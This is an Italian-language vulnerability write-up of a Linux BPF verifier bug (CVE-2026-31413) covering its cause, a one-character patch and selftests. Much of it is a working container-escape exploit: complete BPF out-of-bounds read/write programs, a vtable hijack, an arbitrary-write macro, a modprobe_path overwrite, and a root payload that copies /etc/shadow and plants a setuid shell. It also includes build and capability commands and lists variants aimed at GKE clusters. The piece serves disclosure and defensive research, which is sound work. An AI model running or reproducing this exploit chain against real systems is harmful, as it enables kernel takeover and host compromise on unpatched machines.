
CVE-2026-31413: bug di correttezza del verifier BPF - container escape
Ho trovato un bug di soundness nel verificatore BPF di Linux - un + 1 in una chiamata a push_stack() che fa saltare al verificatore un'istruzione ALU su un percorso forkato. Per BPF_OR, questo significa che il verificatore traccia dst = 0 mentre la CPU calcola 0 | K = K. Ho scritto una fuga completa dal container: lettura/scrittura OOB da una mappa BPF, hijack della vtable, sovrascrittura di modprobe_path, root sull'host. Poi ho creato una serie di due patch - una correzione di un carattere al verificatore e 90 righe di selftest - e l'ho fatta integrare nel ramo mainline.
📹 Video dimostrativo della fuga dal container
| CVE | CVE-2026-31413 |
| Classe del bug | Soundness del verificatore - divergenza del valore dei registri |
| Causa principale | push_stack(env, env->insn_idx + 1, ...) salta l'istruzione ALU sul percorso forkato |
| Introdotto | bffacdb80b93 - Linux 7.0-rc1 (14 gennaio 2026) |
| Corretto | c845894ebd6f - Linux 7.0-rc5 (22 marzo 2026) |
| Versioni affette | 6.12.75+ (backport stabile dea9989a3f) fino a 7.0-rc4 |
| Impatto | Lettura/scrittura arbitraria del kernel → fuga dal container → root sull'host |
| Requisiti | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| Correzione | Un carattere: insn_idx + 1 → insn_idx |
maybe_fork_scalars() fa il fork dello stato del verificatore quando vede ARSH + AND/OR con una costante. Il percorso pushato riceve dst = 0 e salta l'istruzione ALU. Per AND va bene: 0 & K = 0. Per OR è sbagliato: 0 | K = K, non 0.
Il verificatore pensa che il registro sia zero. La CPU ha K. L'ho usato per costruire una lettura/scrittura arbitraria OOB dal valore di una mappa BPF, ho leakato l'indirizzo kernel della mappa, ho costruito una vtable bpf_map_ops finta, ho reindirizzato map_push_elem tramite array_map_get_next_key per la scrittura arbitraria, e ho sovrascritto modprobe_path. Attivando un formato binario sconosciuto, il kernel esegue il mio script come root. In un container, fuga completa dall'host.
Serie di due patch: una correzione di un carattere al verificatore più 90 righe di selftest BPF che coprono il forking tra OR e AND. Integrata da Alexei Starovoitov il 22 marzo. CVE-2026-31413 assegnato da Greg Kroah-Hartman il 12 aprile.
eBPF ti permette di caricare piccoli programmi nel kernel - filtri di pacchetti, hook di tracing, policy di sicurezza - senza compilare un modulo del kernel. Il problema è che stai iniettando codice nel ring 0. Se quel codice ha un bug, è un bug del kernel.
Quindi, prima che qualsiasi programma BPF venga eseguito, il verificatore del kernel simula ogni possibile percorso di esecuzione. Tiene traccia di cosa contiene ogni registro (un puntatore? uno scalare? con quale intervallo?), verifica ogni accesso in memoria rispetto ai limiti della mappa e rifiuta qualsiasi cosa che possa leggere o scrivere fuori dai limiti. Se il verificatore dice che un programma è sicuro, il JIT lo compila in codice macchina nativo e lo esegue con pieni privilegi kernel. Dopo quel punto non ci sono controlli runtime dei limiti. Il verificatore è il confine di sicurezza.
Questo è il motivo per cui i bug di soundness del verificatore sono diversi dalla normale corruzione di memoria. Con un heap overflow o una UAF ottieni una primitiva di corruzione e devi lavorare da lì - sprayare l'heap, groomare gli oggetti, vincere una race. Con un bug del verificatore, fai credere al kernel una bugia sul valore di un registro. Ogni controllo dei limiti che dipende da quel registro passa. Il kernel ha approvato il tuo accesso OOB. Lo esegue senza fiatare. Se riesci ad allineare correttamente lo stato dei registri, ne ottieni una primitiva pulita e affidabile.
Stavo facendo auditing di maybe_fork_scalars() - codice nuovo, aggiunto a gennaio 2026 in bffacdb80b93. Il forking dello stato è sempre interessante perché è lì che il verificatore si divide in percorsi di esplorazione paralleli, e se un percorso traccia un valore errato, tutto ciò che sta a valle di quel percorso è unsound.
La funzione fa il fork quando vede ARSH + AND/OR con una sorgente costante. Il percorso pushato riceve dst = 0 e salta l'istruzione ALU. Stavo leggendo la riga push_stack(env, env->insn_idx + 1, ...) e mi è scattato subito qualcosa: il + 1 significa che il percorso pushato non esegue mai l'operazione ALU. Per AND, 0 & K = 0, quindi saltarla va bene. Per OR, 0 | K = K. Il percorso pushato pensa che il risultato sia 0 quando in realtà è K.
Quella sera ho scritto un programma BPF. ARSH 63 per ottenere {0, -1}, OR con una costante, ramo condizionale per separare i percorsi del verificatore, poi ho aggiunto il registro "zero" a un puntatore a una mappa. Il verificatore ha approvato map_value + 0. La CPU ha acceduto a map_value + K. KASAN ha confermato l'accesso fuori dai limiti nei test.
Lettura/scrittura OOB la mattina dopo. Fuga dal container la notte successiva. Ho usato Claude (Opus 4.5) per tutto il percorso - per analizzare la logica di forking dello stato del verificatore, fare brainstorming sulle primitive di exploitation e trasformare l'OOB in una catena di fuga completa. L'approccio dell'hijack della vtable è nato da un botta e risposta in cui Claude ha esaminato i puntatori a funzione di bpf_map_ops cercando gadget richiamabili.
Il commit bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") è arrivato il 14 gennaio 2026 in 7.0-rc1. Alexei Starovoitov, co-sviluppato da Puranjay Mohan. Ha aggiunto maybe_fork_scalars() per gestire un pattern di LLVM DAGCombiner:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM abbassa `select_cc setlt X, 0, A, 0` a `sra + and`. Dopo lo scorrimento aritmetico a destra, il registro è `0` (input non negativo) oppure `-1` (tutti a 1). L'AND con una costante dà `0` o `K`.
Il verifier non può tracciare `{0, K}` in un singolo `bpf_reg_state` - il suo intervallo con segno `[0, K]` è una sovra-approssimazione, e questo faceva sì che rifiutasse programmi Cilium validi. La correzione: biforcare lo stato del verifier. Un percorso esplora `dst = 0`, l'altro `dst = -1`, ciascuno tracciando il valore preciso.
L'implementazione:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
Sul percorso push accadono due cose:
0insn_idx + 1 - l'istruzione successiva all'operazione ALUPer BPF_AND: dst = 0, salta l'AND. A runtime: 0 & K = 0. Corrisponde. Corretto.
Per BPF_OR: dst = 0, salta l'OR. A runtime: 0 | K = K. Mancata corrispondenza.
Il verificatore vede 0. La CPU ha K. Non corretto.
La funzione non controlla l'opcode. È stata scritta per AND - dove saltare
l'istruzione equivale a eseguirla con dst = 0 - ed è stata applicata anche a
OR. Per OR, quell'equivalenza non vale.
Il pattern di innesco è composto da cinque istruzioni:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
Il verificatore esplora due percorsi:
**Percorso corrente** (`dst = -1`): L'OR viene eseguito, `-1 | K` è ancora `-1`. Il
ramo `r6 s< 0` viene preso. Il verificatore segue l'uscita. Questo percorso è sicuro e
il verificatore lo conferma.
**Percorso accantonato** (`dst = 0`, OR saltato): `r6 = 0`. Il ramo `r6 s< 0` non viene
preso. Il verificatore prosegue fino a `r9 += r6`, vede `r9 += 0` e approva il
successivo accesso alla memoria come nei limiti.
**Runtime** (`dst = 0`, OR eseguito): Il valore della mappa è positivo, quindi dopo ARSH,
`r6 = 0`. L'OR viene eseguito: `0 | K = K`. Il ramo `K s< 0` non viene preso (K è
positivo). `r9 += K` - un accesso fuori dai limiti di `K` byte, approvato dal
verificatore come `r9 += 0`.
Controllo io `K`. Lettura o scrittura OOB a offset arbitrario, relativa a qualsiasi valore
di una mappa BPF.
La versione di lettura archivia i dati esfiltrati in una seconda mappa per il recupero
dallo spazio utente. La versione di scrittura carica un valore da una terza mappa e lo scrive all'
offset OOB. Entrambe superano il verificatore.
Ecco il `oob_read_prog` completo - questo è il codice reale dell'exploit, non
pseudocodice:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
E la scrittura OOB - stesso trucco ARSH+OR, ma scrive un valore da una terza map nell'offset OOB:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Per attivare uno dei due programmi, lo collego a una coppia di socket e invio un pacchetto attraverso di essa:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
Il pattern negate-and-add (R7 = 0 - R6; R8 += R7) ci permette di raggiungere
offset negativi dal valore della mappa - che è dove risiedono i metadati della mappa stessa.
L'intera catena:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### Il Layout del Target
Un `BPF_MAP_TYPE_ARRAY` è supportato da `struct bpf_array`, che incorpora
`struct bpf_map` all'offset 0. I valori effettivi della mappa iniziano all'offset 264 (dopo
l'header di `bpf_array` + allineamento). Quindi da `value[0]`, i metadati della mappa stessa
si trovano a offset negativi noti:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
Ho verificato questi offset con pahole sul vmlinux di 6.12.76-docker. Sul kernel
testato, gli offset corrispondevano esattamente.
Due letture OOB mi danno tutto ciò che mi serve:
wait_list all'offset -136. Questo è freeze_mutex.wait_list, una
list_head che punta a sé stessa quando il mutex non è conteso. Il suo valore
è &map->freeze_mutex.wait_list - un puntatore del kernel alla struttura della
map. Sottraendo 128 ottengo l'indirizzo di base della map. Aggiungendo 264
ottengo l'indirizzo del kernel di value[0].
ops all'offset -264. Questo è il puntatore alla vtable bpf_map_ops. Su un
kernel non modificato punta al simbolo globale array_map_ops. Lo leggo per
confermare che il kernel non sia patchato e per ottenere l'indirizzo della vtable
da clonare.```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
A questo punto ho: l'indirizzo kernel della mappa, l'indirizzo dei miei dati controllati (`value[0]`), e il puntatore vtable confermato.
### Passaggio 2: Vtable falsa
`bpf_map_ops` ha 42 slot di puntatori a funzione. Se azzero solo quelli di cui non ho bisogno, il kernel farà una NULL-deref la prima volta che ne tocca uno. Quindi risolvo ogni simbolo da `/proc/kallsyms` e costruisco una copia completa:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
Lo slot 15 è map_push_elem. Nel array_map_ops reale questo è NULL (gli array
non supportano push). Lo sostituisco con array_map_get_next_key.
Perché get_next_key? La sua firma è:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
Legge `*(u32 *)key`, lo incrementa e scrive il risultato in `*(u32
*)next_key`. Quando chiamato tramite il percorso di dispatch `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
Il parametro flags finisce nel parametro next_key. Se controllo flags, controllo la destinazione della scrittura. Il valore scritto è *(u32 *)value + 1 - un piccolo intero che posso prevedere impostando i primi 4 byte del mio buffer di push.
Prima di poter usare la vtable falsa, devo reindirizzare la map verso di essa e cambiarne il tipo così che il kernel dispacci tramite map_push_elem. Tre scritture OOB, eseguite in ordine:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
Il cambio di tipo è critico. Quando lo spazio utente chiama `bpf(BPF_MAP_UPDATE_ELEM)` su
una mappa array, il kernel smista tramite `map_update_elem`. Ma su una mappa
coda, la stessa syscall smista tramite `map_push_elem`, che ora punta a
`array_map_get_next_key`.
Precarico tutti e sei i programmi BPF (tre scritture + tre ripristini) *prima*
di corrompere qualsiasi cosa. Una volta corrotto il puntatore `ops`, non posso caricare nuovi
programmi BPF che referenziano questa mappa: il verifier seguirebbe la vtable finta e
andrebbe in crash. Tutto deve essere predisposto in anticipo.
### Passo 4: Scrittura arbitraria tramite map_push_elem
Ora posso scrivere 4 byte a qualsiasi indirizzo del kernel:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() chiama bpf(BPF_MAP_UPDATE_ELEM) con flags = addr. Il kernel
instrada verso il mio map_push_elem dirottato → array_map_get_next_key(map, push_buf, addr). Legge *(u32 *)push_buf (che è val - 1), aggiunge 1 e
scrive val in *(u32 *)addr.
La primitiva di scrittura è uno store u32 di 4 byte tramite get_next_key. Non ci sono
vincoli di allineamento - il kernel esegue un normale *(u32 *)addr = val a
qualsiasi indirizzo forniamo.
modprobe_path è una variabile globale char[256] nel kernel, predefinita /sbin/modprobe.
Quando il kernel incontra un eseguibile con un numero magico sconosciuto, invoca
modprobe_path come root per caricare il modulo appropriato. Sovrascrivilo con un percorso
che controllo, innesca un formato binario sconosciuto e il kernel esegue il mio script come
root.
Il percorso target è /tmpn/mo. Non posso scrivere stringhe arbitrarie - scrivo 4 byte
alla volta tramite l'incremento intero di get_next_key. Ma mi servono solo due scritture:```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
In modalità container, `modprobe_path` viene risolto nel mount namespace di init - non
in quello del container. Quindi lo script del payload deve esistere in `/tmpn/mo` sull'host.
Con `--pid=host` o un namespace PID condiviso, raggiungo il filesystem host tramite
`/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
In un attacco reale, l'exploit scrive il payload in /tmpn/mo sull'host tramite
/proc/1/root/tmpn/mo (raggiungibile quando il pod ha un namespace PID condiviso, come
è standard per i sidecar service-mesh come Cilium e gli agenti di monitoraggio come
Falco). La demo semplifica questo passaggio: l'orchestratore pre-posiziona il payload
sull'host così l'exploit deve solo innescarne l'esecuzione.
L'exploit crea il binario trigger - 4 byte di \xff - e lo esegue.
Il kernel non riconosce il formato, cerca modprobe_path, trova
/tmpn/mo e lo esegue come root.
Il payload:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### Passaggio 6: Pulizia
Dopo la scrittura di `modprobe_path`, ripristino l'header della mappa - tipo, max_entries,
ops - usando i tre programmi di ripristino pre-caricati. La mappa torna a essere un
normale array. Nessuna fake vtable pendente, nessuna instabilità del kernel. L'exploit è
single-shot e lascia uno stato pulito.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
Nel mio ambiente demo, l'intera catena dalla prima lettura OOB alla shell di root ha richiesto un paio di secondi.
Oltre all'escape dal container principale, ho creato una serie di livelli di exploit autonomi
che dimostrano diverse capacità post-exploitation a partire dalla stessa primitiva.
Ogni livello è un file C autonomo in exploit/ che usa la libreria di supporto condivisa
exploit_common.h per la configurazione della lettura/scrittura OOB ARSH+OR.
Tutti i livelli ripristinano ogni modifica prima di uscire. Testato su 6.12.76.
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
Oppure individualmente:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
Ogni livello richiede CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## Chi è coinvolto
L'exploit richiede `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Non li ottieni
da un container non privilegiato o da un account utente normale su un sistema
indurito. Ma ci sono molti contesti in cui hai davvero queste cap.
### Sistemi BPF non privilegiati
Se `kernel.unprivileged_bpf_disabled=0` (verifica con `sysctl`), qualsiasi
utente locale può caricare programmi BPF. Questa era l'impostazione predefinita
sulle distribuzioni più vecchie e talvolta è abilitata per ambienti di
sviluppo/test. Su questi sistemi, si tratta di una vera e propria escalation di
privilegi locale: da qualsiasi utente a root, senza bisogno di permessi speciali.
La maggior parte delle distribuzioni moderne include `unprivileged_bpf_disabled=1`
o `=2` (bloccato), quindi questo percorso è chiuso nelle installazioni
predefinite di Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9, ecc.
### Ambienti Kubernetes / Container
È qui che il bug fa male. I container standard non privilegiati rimuovono
`CAP_BPF`, quindi non possono innescare il bug. Ma molti pod infrastrutturali
girano con cap elevate:
| Prodotto | Privilegi predefiniti | Note |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Network policy, gira su ogni nodo |
| **Falco** | `privileged: true` | Sicurezza runtime, monta /dev |
| **Tetragon** | `privileged: true` | Osservabilità eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 altri | Metriche, log, APM |
| **Pixie** | `privileged: true` | Osservabilità basata su eBPF |
| **Tracee** | `privileged: true` o cap BPF | Sicurezza runtime di Aqua |
Questi in genere girano come DaemonSet: un pod per nodo, su tutto il cluster.
Se un attaccante compromette uno qualsiasi di questi pod (RCE in un servizio web
sullo stesso nodo, attacco alla supply chain, SSRF verso un'API dell'agente,
ecc.), ha le cap necessarie per eseguire questo exploit e ottenere root
sull'host.
**Nota importante:** L'exploit funziona solo su kernel che contengono il codice
vulnerabile (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 fino a rc4).
La maggior parte dei cluster K8s di produzione esegue kernel LTS più vecchi.
Controlla la versione del kernel del tuo nodo con `uname -r` prima di dare per
scontata l'exploitabilità.
Dalla root dell'host su un nodo, il movimento laterale verso altri nodi è di
solito possibile tramite lo stesso DaemonSet (service account condivisi, secret
montati, ecc.).
### Kubernetes gestito (GKE, EKS, AKS)
Google GKE usa Cilium come Dataplane V2 di default. Se i nodi GKE eseguono un
kernel 6.12.x non patchato (controlla la versione del tuo node pool), qualsiasi
compromissione di un pod Cilium si trasforma in root dell'host e presa di
controllo del nodo. Ho costruito l'exploit appositamente per questo scenario:
è per questo che si chiama `exploit_gke.c`.
Anche Amazon EKS e Azure AKS sono potenzialmente colpiti se eseguono kernel
6.12.x con Cilium o reti simili basate su BPF. Bisogna verificare le versioni
specifiche delle immagini AMI/VM.
### Android
Android usa eBPF per la contabilizzazione del traffico di rete (netd), la
profilazione energetica e il monitoraggio della memoria. I dispositivi Android
attuali (14/15) usano kernel 6.1 LTS, che **non sono interessati**. Android 16
potrebbe adottare 6.12 LTS: se lo farà, e se il backport vulnerabile sarà
incluso, la superficie d'attacco sarebbe costituita da servizi di sistema come
`netd` e `system_server` che caricano programmi BPF.
Questa è speculazione e dipende dalla tempistica di adozione del kernel da parte
di Android. Ho presentato una segnalazione al VRP di Android per il monitoraggio.
### Container a kernel condiviso (LXC/LXD)
I container di sistema che condividono il kernel dell'host (a differenza delle
VM) sono completamente esposti. Compromettere il kernel condiviso = compromettere
l'host + ogni altro container su di esso. Questo è diverso da Docker/containerd,
dove scappi verso un host che potrebbe essere esso stesso una VM.
### Da cosa non scappa
Questo è un bug del kernel guest, non una fuga dall'hypervisor. Se esegui
l'exploit dentro un'istanza EC2, ottieni la root su quell'istanza: non esci
dall'hypervisor Nitro verso l'host fisico o altri tenant. Lo stesso vale per
GCE, VM Azure, KVM, ecc. Il confine hardware regge.
### Kernel interessati
| Ramo | Interessati | Corretti |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` fino a 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` fino a 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` fino a 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 fino a 7.0-rc4 | 7.0-rc5+ |
Commit introduttivo: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Commit di correzione: `c845894ebd6f`
`CAP_BPF` non è una capability sicura. Un bug del verifier la trasforma in
lettura/scrittura arbitraria del kernel. I prodotti che la concedono ai pod di
workload dovrebbero trattarla come `CAP_SYS_ADMIN`.
---
## La Correzione
Un carattere:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
Invece di spingere il ramo a insn_idx + 1 (saltando l'istruzione ALU), spingi a insn_idx - l'istruzione stessa. Il percorso spinto riesegue l'operazione ALU con dst = 0:
0 & K = 0 ✓0 | K = K ✓L'approccio originale era ingegnoso - saltare l'istruzione e hardcodare il risultato, risparmiando un passo del verifier sul percorso spinto. Ma quell'ottimizzazione funziona solo quando il risultato dell'esecuzione dell'istruzione con dst = 0 è zero. Questo vale per AND, non per OR. La correzione rinuncia all'ottimizzazione: basta eseguire di nuovo l'istruzione e lasciare che il verifier calcoli il valore corretto per qualsiasi opcode.
Sono passato attraverso tre revisioni della patch:
opcode a maybe_fork_scalars() e impostato dst = K per OR, dst = 0 per AND sul percorso spinto. Funzionava ma aggiungeva complessità.insn_idx invece di insn_idx + 1. Più semplice, indipendente dall'opcode, elimina l'intera classe di bug skip-vs-execute.La fix è stata integrata come c845894ebd6f il 22 marzo da Alexei Starovoitov. Selftests in 0ad1734cc559. Revisionata da Eduard Zingerman, con l'ack di Amery Hung.
I selftests coprono tre casi:
or_scalar_fork_rejects_oob - ARSH 63 + OR 8, value_size=8, l'accesso all'offset 8 è OOB → deve essere rifiutatoand_scalar_fork_still_works - test di regressione, il percorso AND accetta ancoraor_scalar_fork_allows_inbounds - OR 4, value_size=8, l'offset 4 è nei limiti → deve essere accettatoLinus ha integrato d5273fd3ca0b ("Merge tag 'bpf-fixes'") con la nota: "Fix unsound scalar fork for OR instructions (Daniel Wade)".
c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")Disclaimer: Questo codice di exploit è pubblicato a scopo educativo e di ricerca difensiva dopo la divulgazione responsabile e l'integrazione della patch. Non utilizzarlo su sistemi che non possiedi o per cui non hai esplicita autorizzazione al test. L'autore non è responsabile dell'uso improprio.
